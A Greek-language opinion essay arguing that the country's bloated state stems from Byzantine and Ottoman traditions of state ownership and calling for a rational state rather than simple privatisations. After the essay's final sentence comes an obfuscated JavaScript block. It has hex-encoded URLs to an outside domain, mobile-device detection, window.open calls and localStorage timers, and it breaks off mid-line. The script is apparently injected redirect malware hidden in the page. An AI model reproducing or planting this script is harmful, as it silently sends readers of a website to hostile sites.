

Η ΠΡΟΒΛΗΜΑΤΙΚΗ ΤΩΝ ΑΠΟΚΡΑΤΙΚΟΠΟΙΗΣΕΩΝ

Οι ανακλαστικοί σχολιασμοί και η χύδην δημοσιολογία της εποχής, αντιμετωπίζουν το πρόβλημα της δημόσιας περιουσίας με ένα τρόπο αποσπασματικό και περιστασιακό. Η κύρια προτροπή που εγείρεται σχεδόν από όλες τις πλευρές είναι να μεταβιβαστούν οι δημόσιες επιχειρήσεις και η ακίνητη περιουσία του δημοσίου, στον ιδιωτικό τομέα. Υπάρχουν βέβαια και πολιτικά κόμματα που φέρονται αντίθετα προς τη κύρια τάση αλλά η αναξιοπιστία της συνολικής τους πολιτικής πρότασης υπονομεύει και τις θέσεις περί μη ιδιωτικοποίησης.

Η συγκυριακή αντιμετώπιση του μεγάλου προβλήματος της δημόσιας περιουσίας είναι εξ' ορισμού απορριπτέα. Απορριπτέα είναι και η ιδεοληπτική του αντιμετώπιση. Οι εποχές που ζούμε τόσο εντός όσο και εκτός της χώρας, χαρακτηρίζονται από ανασφάλεια, αβεβαιότητα και υψηλή μεταβλητότητα. Για να αντιμετωπίσει κανείς τα χαρακτηριστικά των συνθηκών θα πρέπει να είναι κατά κύριο λόγο αποτελεσματικός και πολιτικά ωφέλιμος στοιχείο που στηρίζονται στην επάρκεια γνώσεων. Όμως και οι ρόλοι αυτοί δεν φαίνεται να είναι εύκολα επιτεύξιμοι όταν αντιμετωπίζονται τα προβλήματα αποσπασματικά, εμπειρικά ή και ιδεοληπτικά. Στη πρώτη περίπτωση έχουμε μια γρήγορη, άσκεπτη και βιαστική δράση ενώ στη δεύτερη περίπτωση βραδύτητα, αναποφασιστικότητα και αναβλητικότητα.

Κοιτάζοντας αριστερά και δεξιά, εκείνο που βλέπουμε είναι πως κανένα θέμα, κανένα μέγεθος, καμία μεταβλητή, οποιουδήποτε τομέα, δεν υπάρχει αυτοτελώς, αυτόνομα. Είναι πάντα συνάρτηση κάποιου άλλου παράγοντα ή και πολλών άλλων. Κατά συνέπεια ο κοινωνικά ωφέλιμος ρόλος πραγματώνεται στη δράση που λαμβάνει υπ' όψιν της την αλληλεξάρτηση των παραγόντων, την ταξινόμηση και κατανομή των πρωτογενών και δευτερευουσών συνεπειών και την επίτευξη ισορροπίας προς όφελος της πλειοψηφίας. Αν δεχθούμε πως στις σύγχρονες κοινωνίες ισχύει το αξίωμα του μηδενικού αθροίσματος, είναι αδύνατο η κοινωνικά ωφέλιμη δράση να ικανοποιεί όλα τα μέλη και τους εκπροσώπους της. Στο εσωτερικό του κοινωνικού χώρου, θα υπάρχουν ασφαλώς ορισμένα τμήματα που θα θιγούν, θα επιδεινώσουν την αρχική τους θέση αλλά το τελικό αποτέλεσμα θα είναι η βελτίωση της κοινωνικής ευημερίας του συνόλου.

Αν δεν συμβεί αυτό, αν δηλαδή η πράξη επιφέρει, βραχυπρόθεσμα και μακροπρόθεσμα, ισορροπία με βελτιώσεις στη μειοψηφία και επιδεινώσεις στη πλειοψηφία, τότε θεωρείται κοινωνικά επιζήμια, άχρηστη και επιβλαβής.

Το κριτήριο της πλειοψηφίας / μειοψηφίας, είναι το εργαλείο αξιολόγησης των σύγχρονων δημοκρατιών. Ορίζει μια αναγκαιότητα εντός της οποίας οφείλουμε να διαπραγματευτούμε κάθε δημόσιο θέμα, πολιτικά. Ασφαλώς και έχει κλίμακες, διαβαθμίσεις, χρονικές φάσεις, κλπ, αλλά βρίσκεται πάντα σε ισχύ γιατί συνιστά τη βάση του κοινοβουλευτικού πολιτεύματος.

Σε πολιτεύματα όπως οι απόλυτες ή συνταγματικές μοναρχίες και οι ολιγαρχικοί ολοκληρωτισμοί, το κριτήριο αυτό δεν θα είχε καμία απολύτως σημασία, αλλά στις κοινοβουλευτικές δημοκρατίες είναι το κριτήριο θεμέλιο, που δεσμεύει ντετερμινιστικά και τις επακόλουθες συμπεριφορές των πολιτικά δρώντων. Κατά συνέπεια στερείται νοήματος, κάθε προτροπή προς κυβερνήσεις ή κόμματα, να δράσουν αγνοώντας το κριτήριο / θεμέλιο της πολυφωνικής δημοκρατίας. Όσα παράδοξα και αν ανακαλύπτονται κατά καιρούς, από τους θεωρητικούς οικονομολόγους και πολιτικούς φιλοσόφους, για το κριτήριο της πλειοψηφίας, αυτό παραμένει εν ισχύ και τη διαφοροποιεί θετικά, κατά τον Αριστοτέλη, από όλες τις άλλες μορφές πολιτευμάτων.

Υπερπηδώ στα γρήγορα, τις χρονικές διαιρέσεις του βραχυπρόθεσμου και μακροπρόθεσμου του οικονομικού λογισμού, για να φτάσω στα αξιώματα της πολιτικής θεωρίας. Από τον Αριστοτέλη, τον Μακιαβέλλι, και τον Λόκ έως τον Χέγκελ και τον Μάρξ, ως πολιτική ορίστηκε η τέχνη του εφικτού και του αναγκαίου και όχι του επιθυμητού που αποτελεί πεδίο των ιδεών. Αυτό άλλωστε συνιστά και το περιεχόμενο της πολιτικής γιατί η ανθρωπότητα μέχρι τώρα συγκρότησε και βίωσε κοινωνίες ορίων και περιορισμών. Όταν το «βασίλειο της αναγκαιότητας» ξεπεραστεί από το «βασίλειο της ελευθερίας» τότε αυτόχρομα θα σημάνει και το τέλος της πολιτικής. Όμως έως τότε οι κυβερνήσεις έχουν καθήκον και χρέος να πλοηγήσουν τις χώρες μέσα από τους δαιδάλους των περιορισμών, των αναγκαιοτήτων και των εξωτερικών καταναγκασμών, με θετικό τρόπο από τον οποίο και θα κριθούν και όχι με βάση αυτό που επιθυμούν ή που βούλονται ανεξάρτητα και αυτοτελώς. Αυτό είναι το κριτήριο της αναγκαιότητας και της αντικειμενικότητας το οποίο είναι ακριβώς το αντίθετο από εκείνο της βουλευτικής επιθυμίας, δηλαδή της βουλευσιαρχίας το οποίο δεν ελέγχεται κατά τον Καρτέσιο και κατακρίθηκε εντόνως ακόμα και από τον Λένιν. Αυτό αποτελεί και το κριτήριο των δημοκρατικών πολιτευμάτων που ανάφερα παρά πάνω, το οποίο καλεί σε επίτευξη ισορροπίας μέσω πολλών και αντιτιθέμενων, πολλές φορές, παραγόντων. Το βουλευτικό κριτήριο είναι σύμφυτο με τις απολυταρχίες και φεουδαρχικές μοναρχίες όπου η θέληση του ηγεμόνα γίνεται νόμος και κατ' επέκταση και θέληση των υπηκόων. Επομένως οι κυβερνήσεις και τα κόμματα που εκπροσωπούν καλούνται να επιτελέσουν το δύσκολο έργο της πραγμάτωσης του εαυτού τους εντός ενός αντιφατικού περιβάλλοντος

αντικειμενικής ολότητας. Στη σύγχρονη πολυπλοκότητα, οι βαθμοί ελευθερίας που κρατούν στα χέρια τους είναι μικροί σε αριθμό ενώ σε περιόδους κρίσεων ελαχιστοποιούνται επικίνδυνα.

Τα πρώτα συμπεράσματα που προκύπτουν είναι πως καμία κυβέρνηση όσο μεγάλο και αν είναι το κράτος που εκπροσωπεί δεν δρα κατά βούληση αλλά πάντα προσαρμόζει την ασκούμενη πολιτική στο πεδίο του εφικτού, του αναγκαίου και του αποδοτικού για τη σχετική πλειοψηφία των πολιτών. Δεύτερον, τα αποτελέσματα των πολιτικών που εφαρμόζονται δεν είναι πάντα αμέσως εμφανή. Απαιτείται ένα χρονικό διάστημα ωρίμανσης γιατί η τροποποίηση των κοινωνικών πεδίων πάνω στα οποία ασκούνται αντιδρούν πρώτα αρνητικά, μετά κριτικά και μετά θετικά, όταν πρόκειται για θετικές πολιτικές. Γιατί απευθύνονται σε ανθρώπους και η ανθρώπινη συμπεριφορά είναι πάντα ευμετάβλητη κάτω από πλήθος επιρροών. Τρίτον, οι ώριμες δημοκρατίες προϋποθέτουν διαδικασίες και θεσμούς από όπου προέρχονται συνθέσεις αντιτιθέμενων συμφερόντων, γιατί απλούστατα οι κοινωνίες δεν είναι μονοταξικές αλλά πολυταξικές και πολυστρωματικές. Σε πολλές δε περιπτώσεις πολυγλωσσικές και πολυφελτικές. Στη δική μας χώρα, η πολυδιάσπαση του κοινωνικού και πολιτικού χώρου οφείλεται ακριβώς στο γεγονός της απουσίας ανάλογων εξωκομματικών κρατικών θεσμών, που κατοχυρώνουν την διάκριση των εξουσιών και που η λειτουργία τους θα άμβλυne την οξύτητα των πρωτογενών αντιθέσεων με τρόπο ώστε η ανεύρεση συνισταμένης στη πολιτική κορυφή να καθίσταται εφικτή και ωφέλιμος. Έτσι αντί για συνθέσεις προκύπτουν διαιρέσεις και αντί για ολότητα κυριαρχία των μερών. Το γεγονός δηλαδή ότι δεν μετασχηματίζονται οι πρωτογενείς αντιθέσεις σε δευτερογενείς συνθέσεις είναι αποδεικτικό της ελλιπούς λειτουργίας του δημοκρατικού συστήματος στην Ελλάδα.

Με βάση τα παραπάνω, η πολιτική των αποκρατικοποιήσεων μπορεί να εξηγηθεί και να κατανοηθεί όχι εύκολα αλλά με λιγότερη δυσκολία. Πρώτα απ' όλα οι δημόσιες επιχειρήσεις είναι δημιούργημα του κράτους δηλαδή των κυβερνήσεων που διεύθυναν το κράτος. Συγκροτήθηκαν με χρήματα του ελληνικού λαού και επομένως ανήκουν σ' αυτόν. Αυτός ορίζει μέσω της διαδικασίας των εκλογών ποιος θα διοικεί τις επιχειρήσεις και πως θα κατανέμει τα κέρδη ή τις ζημιές τους. Μέχρι εδώ δεν υπάρχει τίποτα το παράδοξο αλλά βρισκόμαστε ακόμα στο ορατό μέρος του φαινομένου. Αν θέλουμε να δούμε ολόκληρο το φαινόμενο, θα πρέπει να ερευνήσουμε την κλασική τριάδα του «γιατί» του «πως» και του «πότε», δημιουργήθηκε ο μεγάλος αριθμός των δημοσίων επιχειρήσεων. Τι στόχους εξυπηρέτησε και ποιες αναγκαιότητες τον επέβαλλαν.

Είναι σε όλους γνωστό το μέγεθος του δημοσίου τομέα στην Ελλάδα και γι' αυτό δεν θα αναφέρουμε αριθμούς και ποσοτικά στοιχεία που το αποδεικνύουν. Από την ποιοτική πλευρά των πραγμάτων όμως, ακόμα και οι ιδιωτικές επιχειρήσεις άμεσα ή έμμεσα έχουν αναπτύξει σχέσεις εισροών – εκροών με το κράτος. Εξαιρούνται ορισμένες επιχειρήσεις οι οποίες έχουν απογαλακτιστεί από την κρατική αγκαλιά και διαπρέπουν στο εξωτερικό συνιστώντας ένα πρότυπο επιχειρείν που οφείλουν να μιμηθούν και οι υπόλοιπες. Και ενώ

θα περίμενε κανείς να συναντήσει, κάτω από τέτοιες συνθήκες, ένα αποδοτικό και αποτελεσματικό κρατικό σύστημα διοίκησης ικανό να ελέγχει τον μεγάλο κρατικό τομέα της οικονομίας, αντίθετα εκείνο που ανακαλύπτει είναι ημιδιαλυμένους κρατικούς μηχανισμούς, ανεπαρκείς και αδρανείς, βουτηγμένους στη διαφθορά και στη στασιμότητα. Συνεπώς αυτό με το οποίο έχουμε να κάνουμε δεν είναι το Κράτος με την ιστορική και πολιτική έννοια του 19^{ου} και 20^{ου} αιώνα αλλά με ένα νέο κοινωνιστικό μόρφωμα που όχι μόνο απομυζά πόρους αλλά και αδρανοποιεί το σύνολο των παραγωγικών δυνάμεων της κοινωνίας. Αυτός ο τύπος κρατικού μορφώματος ομοιάζει περισσότερο με το βυζαντινό και σουλτανικό κράτος της οθωμανικής παρακμής παρά με οποιοδήποτε άλλο της νεωτερικής περιόδου. Και θα ήταν, τρόπον τινά, δικαιολογημένο αν η Ελλάδα ήταν χώρα με μονοπωλιακά εξαγωγικά πλεονεκτήματα, όπως η Σαουδική Αραβία ή το Κατάρ, η αν διέθετε μια αχανή ενδοχώρα να απομυζά φόρους και προσόδους έναντι παροχής προστασίας, από τους υπηκόους της. Δηλαδή μια Ρώμη.

Οι λόγοι που οδήγησαν το ελληνικό κράτος στην υπερδιόγκωση του και κατόπιν στην σημερινή του διάλυση είναι πολλών αποχρώσεων. Για να εντοπίσουμε όμως τις κύριες αιτίες του φαινομένου θα πρέπει να καταφύγουμε στα ιστορικά δεδομένα. Από τον 7^ο αιώνα, την περίοδο του Ηρακλείου, η ελληνική παράδοση οικοδομήθηκε πάνω στην κρατική υπερεπέκταση. Όλες οι γαίες της βυζαντινής αυτοκρατορίας αποτελούσαν την ιδιοκτησία του αυτοκράτορα ο οποίος κατά βούληση και μερικά την παρείχε παροδικά ή μόνιμα, στους επιλεγμένους αξιωματούχους και στρατιώτες των συνόρων (θέματα) ανάλογα με την πολιτική που επεδίωκε να εφαρμόσει. Κινητές και ακίνητες αξίες ανήκαν στην αυλή του και οι πολύμορφοι φόροι που επέβαλε απέβλεπαν στον έλεγχο της γαιοκτημονικής ιδιοκτησίας και στην αποτροπή δημιουργίας αντίπαλης τάξης ευγενών, όπως στη Δύση. Αυτό το μοντέλο πολιτικού ελέγχου διατηρήθηκε για πολλούς αιώνες μέχρι την εξάντληση του τον 13^ο, επί Κομνηνών, από όπου άρχισε και η μεγάλη παρακμή. Το βυζαντινό μοντέλο συνεχίστηκε απарέγκλιτα και από τους Σουλτάνους της Πύλης όπου τα πάντα ακόμα και οι άνθρωποι περιήρχοντο στην σουλτανική ιδιοκτησία. Ο πολίτης / άνθρωπος δεν είχε καμία νομική ή οικονομική αξία μεμονωμένα και ασφαλώς χωρίς τα φυσικά δικαιώματα της ζωής, της ελευθερίας και της περιουσίας. Σε αντίθεση με τη Δύση, όπου κατά τον 17^ο

αιώνα ο Λόκ κήρυξε την επανάσταση του φυσικού δικαίου την οποία ακολούθησε η επανάσταση του φιλελευθερισμού, στην Ανατολή διαφέντευε ο αυτοκρατορικός τύπος της σουλτανικής ιδιοκτησίας. Η αξία του πολίτη στην Ανατολή ήταν αξία της φορολογικής μονάδας. Οι άνθρωποι χωρίς ατομικότητα και χωρίς νομικά δικαιώματα αναζητούσαν την εύνοια πότε του αυλικού γραφειοκράτη και πότε του τοπικού φοροεισπράκτορα. Οι μεταρρυθμιστικές απόπειρες του Χάτι Χουμαγιούν και του Τανζιμάτ, δεν απέδωσαν και οι ατομικές πεποιθήσεις είτε των μουσουλμάνων είτε των χριστιανών, συνέχιζαν να θεωρούν σαν φυσική κατάσταση την πλήρη εξάρτηση από τους κρατικούς μηχανισμούς. Η μόνη τους διέξοδος ήταν η σωτηριολογία της ψυχής που επέβαλλαν οι θρησκείες και η ανάπτυξη της οικογένειας. Μετά την ελληνική Επανάσταση, τα πράγματα δεν άλλαξαν και πολύ. Η νοοτροπία παρέμεινε η ίδια και το κράτος ήταν ο κύριος κάτοχος των εθνικών γαιών. Το πρόβλημα της νομής των Εθνικών γαιών πήρε σχεδόν εκατό χρόνια για να βρει και πάλι

μερική λύση το 1917 με τον Βενιζέλο και τελική μετά τη μικρασιατική καταστροφή. Όλα αυτά τα χρόνια μεγάλες οικογένειες, είτε ενοικίαζαν τα φορολογικά έσοδα του κράτους με πολύ υψηλά κέρδη είτε αξιοποιούσαν τις γαίες έναντι χαμηλού ενοικίου προς το κράτος. Οι απόπειρες της διανομής της γης από τον Καποδίστρια, τον Τρικούπη και τον Βενιζέλο βρήκαν όπως είναι γνωστό, σφοδρές αντιστάσεις.

Το ίδιο μοντέλο, με το κράτος πυρήνα των κοινωνικών διεργασιών συνεχίστηκε και κατά τη πρώτη περίοδο της ελαφράς βιομηχανοποίησης. Αντίθετα με τη Δύση που το κράτος δημιουργήθηκε μετά την ανάπτυξη της κοινωνικής και οικονομικής βάσης για να εξισορροπεί τα αντιτιθέμενα συμφέροντα των διαφόρων τάξεων, στην Ανατολή το κράτος ήταν αυτό που επέβλεπε και δημιουργούσε τις κοινωνικές διεργασίες. Οι μέθοδοι που χρησιμοποιούσε ως προς την άσκηση εξουσίας δεν ήταν ασφαλώς αυτές της δημοκρατικής πειθούς αλλά της επιβολής, της τιμωρίας και του αποκλεισμού. Αυτές οι δομές άρθρωσης στο οικονομικό και κοινωνικό είναι και οι αιτίες της απουσίας κινημάτων φιλελευθερισμού ή και παραγωγικού κοινοβουλευτισμού.

Μετά τις καταστροφικές δεκαετίες, του '10, του '20, του '30 και του '40, η μεταπολεμική περίοδος σύρθηκε στις ίδιες γνωστές ράγες της φροντίδας για την ανόρθωση πρώτα του κράτους και μετά της οικονομίας ή της κοινωνίας. Οι νικήτριες ομάδες των συγκρούσεων, όπως και στον 19^ο αιώνα, κατέλαβαν τους κρατικούς μηχανισμούς γιατί μόνο μέσα από αυτούς έβλεπαν, κατά την παράδοση, τη βιοτική εξασφάλιση και τον εύκολο πλουτισμό. Οι μεθοδολογίες των κρατικών μηχανισμών παρέμειναν οι ίδιες, δηλαδή ήταν διχαστικές, τιμωρητικές και κατασταλτικές. Η οξύτητα των κομματικών ανταγωνισμών της περιόδου δεν ήταν αποτέλεσμα των διαφορετικών ιδεολογιών αλλά της σύγκρουσης των μερίδων της νικήτριας ομάδας, λόγω της στενότητας και των περιορισμένων κρατικών πόρων. Τα δημοκρατικά συνθήματα, και η επίκληση των αρχών του κοινοβουλευτισμού ήταν απλώς πειστήρια νομιμοποίησης των τιμωρητικών πράξεων, όπως ακριβώς και τον 19^ο

αιώνα με τους λεγόμενους «Συνταγματικούς» του Κωλέτη και του Μαυροκορδάτου που στρέφονταν εναντίον του Καποδίστρια και του Κολοκοτρώνη.

Η έλευση του Πασοκ στην εξουσία αμφισβήτησε τους μεταπολεμικούς νικητές αλλά έθεσε και το ίδιο ως τρόπαιο της νίκης του την κρατική λεηλασία. Συνεχίζοντας τη πολιτική της «σοσιαλμανίας» του Κ. Καραμανλή, κρατικοποίησε μεγάλο αριθμό προβληματικών επιχειρήσεων, κατήργησε τα εσωτερικά φράγματα των κρατικών μηχανισμών με προσλήψεις ημετέρων και διεύρυνε τα κρατικά όρια εντός της κοινωνίας. Ίσως για ένα διάστημα αυτό ήταν αναγκαίο ως ενοποιητική αντίδραση στην διαιρετική δράση των προηγούμενων δεκαετιών αλλά η αδιάκοπη συνέχιση του ως ασφαλής κομματική μέθοδος, όχι μόνο από το Πασόκ αλλά και από τους άλλους που ακολούθησαν, έφερε τα καταστροφικά αποτελέσματα που βιώνουμε σήμερα.

Η ταύτιση της εξέλιξης της ελληνικής κοινωνίας με την εξέλιξη του κράτους, δεν έσπασε, ούτε καν αμφισβητήθηκε, ούτε με την εμφάνιση των αριστερών πολιτικών δυνάμεων μετά τον πόλεμο. Αντίθετα ενισχύθηκε γιατί και αυτές ήταν προσκολλημένες ιδεολογικά και θεωρητικά γύρω από το δόγμα της κρατικής ανάπτυξης. Και η απήχηση των δυνάμεων αυτών στο συνδικαλιστικό, στο φοιτητικό και στο χώρο της τοπικής αυτοδιοίκησης, δηλαδή στα δυναμικότερα κομμάτια της κοινωνίας, ήταν πολύ ισχυρή με αποτέλεσμα το άθροισμα των υπολογιστικών συμφερόντων, όλων των πολιτικών δυνάμεων, να ενισχύει το φαινόμενο του ογκούμενου κρατισμού.

Συνεπώς αν εξετάσουμε το χώρο των δυνατοτήτων που ήταν διαθέσιμος για την ελληνική κοινωνία, το χώρο των διανοητικών μέσων και το χώρο των πολιτικών πρακτικών, θα διαπιστώσουμε πως καμία υπολογίσιμη κοινωνική ή πολιτική δύναμη δεν επεδίωκε ανάπτυξη έξω από την κρατική ομπρέλα. Με την ήττα του νεοελληνικού διαφωτισμού τον 19^ο

αιώνα, ο φιλελευθερισμός που επικράτησε επαναστατικά στην Ευρώπη, στην Ελλάδα κάλυπτε μερικές μόνο σελίδες στα πανεπιστημιακά εγχειρίδια.

Και τώρα; Τώρα μας ειπώθηκε, για να μη πω μας διατάχθηκε, πως πρέπει να εισάγουμε στην Ελλάδα την επανάσταση του φιλελευθερισμού, με διακόσια χρόνια καθυστέρηση και μάλιστα στη χειρότερη του εκδοχή, στη νεοφιλελεύθερη. Και εμείς εδώ δεν γνωρίζουμε παρά μόνο σαν μακρινά ακούσματα τους θεμελιωτές του φιλελευθερισμού, όπως τον Χόμπς, τον Λόκ, τον Χιούμ, τον Μπέρκ, τον Τζέφερσον, τον Μπένθαμ, τους Μιλ, και τους σύγχρονους όπως τον Χάγιεκ, (μόλις τώρα εκδόθηκε βιβλίο του), τον Φρίντμαν, τον φον Μόζες, και τόσους άλλους.

Ίσως δεν είναι ανάγκη να γνωρίσουμε όλους αυτούς, ούτε και τις πρακτικές συνέπειες των θωριών τους, όπως η Διακήρυξη της Ανεξαρτησίας, και η Γαλλική Επανάσταση. Εκείνο που έχουμε να κάνουμε είναι να θυμηθούμε και να ξαναμελετήσουμε τους μεγάλους δασκάλους τους, τους εμπνευστές τους. Να αναστοχαστούμε το βάθος του ελληνικού κόσμου και να αναδιπλώσουμε τη συνείδηση μας στις πτυχές του Λόγου του Αριστοτέλη και των Στωϊκών, του Πλάτωνα και των Επικούρειων, του Δημόκριτου και του Λεύκιπου. Να ξαναδώσουμε υπόσταση και υποκειμενικότητα στον Έλληνα, να αναπτύξουμε την Αγορά των υλικών και πνευματικών αγαθών, να επανασυστήσουμε τη δημιουργική αντιπροσώπευση και εκεί που χρειάζεται την άμεση Δημοκρατία των κοινοτήτων και των περιφερειών, να δημιουργήσουμε ένα κράτος υποχείριο και υπηρέτη του πολίτη και όχι ανελέητο άρπαγα – εργαλείο, στα χέρια των πολιτικάντηδων. Με λίγα λόγια να αποκρατικοποιήσουμε την κοινωνία.

Να επανασυνδεθούμε με την ελληνική ρίζα αφήνοντας κατά μέρος και στη δικαιοδοσία των ιστορικών την κατοχική οθωμανική εμπειρία και τις συνέπειες της.

Γιατί δεν μπορεί η Ελληνικότητα και ο Ελληνισμός να φώτισαν και να ανέπτυξαν την Ευρώπη και τη Δύση ολόκληρη και η ανατολική δεσποτεία του σουλτανισμού να κατατρώγει ακόμα τα σωθικά της Ελλάδας.

Στο πλαίσιο αυτής της προβληματικής, η αναγκαιότητα όχι των αποκρατικοποιήσεων αλλά της δημιουργίας ορθολογικού Κράτους, παίρνει το χαρακτήρα του επείγοντος. Αν για το σκοπό αυτό οι δημόσιες επιχειρήσεις κρίνονται περιττές και επιζήμιες θα πρέπει να πάψουν να υφίστανται με τη σημερινή μονοπωλιακή τους μορφή. Αν για το σκοπό αυτό η δημόσια απασχόληση που απαλλοτρίωσε τις ικανότητες του Έλληνα, θα πρέπει να μειωθεί τότε αυτό να γίνει αμέσως. Έτσι μόνο θα συγκολληθούν και πάλι τα διασπασμένα τμήματα της ελληνικής κοινωνίας και θα αποκατασταθεί η εμπιστοσύνη που εκμηδένισε σχεδόν το σύνολο του κοινωνικού κεφαλαίου.

Ο αχανής δημόσιος τομέας στην Ελλάδα δεν περιλαμβάνει μόνο αυτούς που μισθοδοτούνται από αυτόν αλλά και εκείνους που τον προμηθεύουν ή καταναλώνουν τις υπηρεσίες του. Με άλλα λόγια η κρατική υπερτροφία δημιούργησε την μεγάλη μικρή και μεσαία τάξη, με όλες τις αποχρώσεις διαβαθμίσεις της, που αντί να συνδέεται με την παραγωγή προϊόντος και μάλιστα διεθνώς εμπορεύσιμου, συνδέεται με την εμπορία και την κατανάλωση. Έχοντας αποδεχθεί αυτό το κριτήριο, η συμμετοχή του δημόσιου τομέα στη σύνθεση του ΑΕΠ, πρέπει να υπερβαίνει το 80%. Συνεπώς η τρέχουσα κρίση δεν είναι δημοσιονομική ή κρατική αλλά ολική κοινωνική και οικονομική. Οι μόνοι τομείς που κατορθώνουν να διαφεύγουν είναι αυτοί που απευθύνονται στην εξωτερική ζήτηση, δηλαδή ο τουριστικός, ο ναυτιλιακός και οι εξαγωγικές επιχειρήσεις. Με ποσοτικούς όρους, η αξία των εξαγωγών είναι στο 2,5% του ΑΕΠ, του εξωτερικού τουρισμού στο 10% και της ναυτιλίας στο 8% του ΑΕΠ. Το άθροισμα τους είναι αρκετά υψηλός αριθμός, εν μέσω κρίσης δηλαδή εντός εχθρικού περιβάλλοντος, που μας γεμίζει ελπίδες και μας υποδεικνύει τον ορθό δρόμο και το ορθό οικονομικό μοντέλο του μέλλοντος.

Ωστόσο το κλειδί για την δημιουργία ορθολογικού κράτους είναι η κοινωνική αναδιάταξη της μεσαίας τάξεως. Η αποκρατικοποίηση της θα δώσει ευκαιρίες στα πιο δυναμικά τμήματα της, που είναι οι νέοι επιστήμονες και οι δημιουργικοί επιχειρηματίες, να συνειδητοποιήσουν τις υπνώτουσες ικανότητες τους και να δράσουν παραγωγικά. Αρκεί οι κανόνες ανταγωνισμού που θα τίθενται να είναι αντικειμενικοί, αμερόληπτοι και ηθικοί. Δεν υπάρχει τίποτα πιο παρωχημένο στην εποχή μας από την ύπαρξη κρατικών μονοπωλίων. Όχι μόνο σε νευραλγικούς τομείς όπως είναι η ενέργεια αλλά και σε τομείς όπου ακμάζει η

διαφθορά, η εγκληματικότητα και η αντικοινωνικότητα, όπως είναι ο τζόγος. Η κατάργηση τους θα σημάνει αυτόματα απελευθέρωση πόρων για ανάπτυξη υγιών παραγωγικών δημόσιων επιχειρήσεων, οι οποίες θα συνυπάρχουν ανταγωνιστικά με άλλες μορφές ιδιωτικών, κοινωνικών ή μικτών επιχειρήσεων, με αναρτημένους στόχους τη βελτίωση της σχέσης τιμής / προσφερόμενης ποιότητας και τη βελτίωση της κοινωνικής ευημερίας. Σε πολλές μάλιστα περιπτώσεις επιβάλλεται η ίδρυση και λειτουργία δημοσίων επιχειρήσεων, όταν πρόκειται να δαπανηθούν πόροι για έρευνα και πρωτοποριακή καινοτομία, οι οποίες θα ανοίγουν διεθνή δρόμο για την ιδιωτική προσφορά μαζικής παραγωγής.

Όλα αυτά όμως προϋποθέτουν την ύπαρξη ορθολογικού κράτους το οποίο θα προέλθει, σε ικανό χρονικό διάστημα, από την κοινωνική ανασύνταξη της μεσαίας τάξεως και τη θεσμοθέτηση αντικειμενικών κανόνων επιδοκμασίας / αποδοκμασίας.

Υπό το πρίσμα αυτού του είδους των αναλύσεων, η παρούσα κρίση ίσως αποδειχθεί μια πρώτης τάξεως ιστορική ευκαιρία να αποτινάξει από τους ώμους η Ελλάδα το χρόνιο και υπέρογκο βάρος του παρελθόντος.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]) {try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
```

```

substr','_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311','_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314','_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09','_0x3ec38a(0x18e),'getItem','_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor','_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){((/((android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
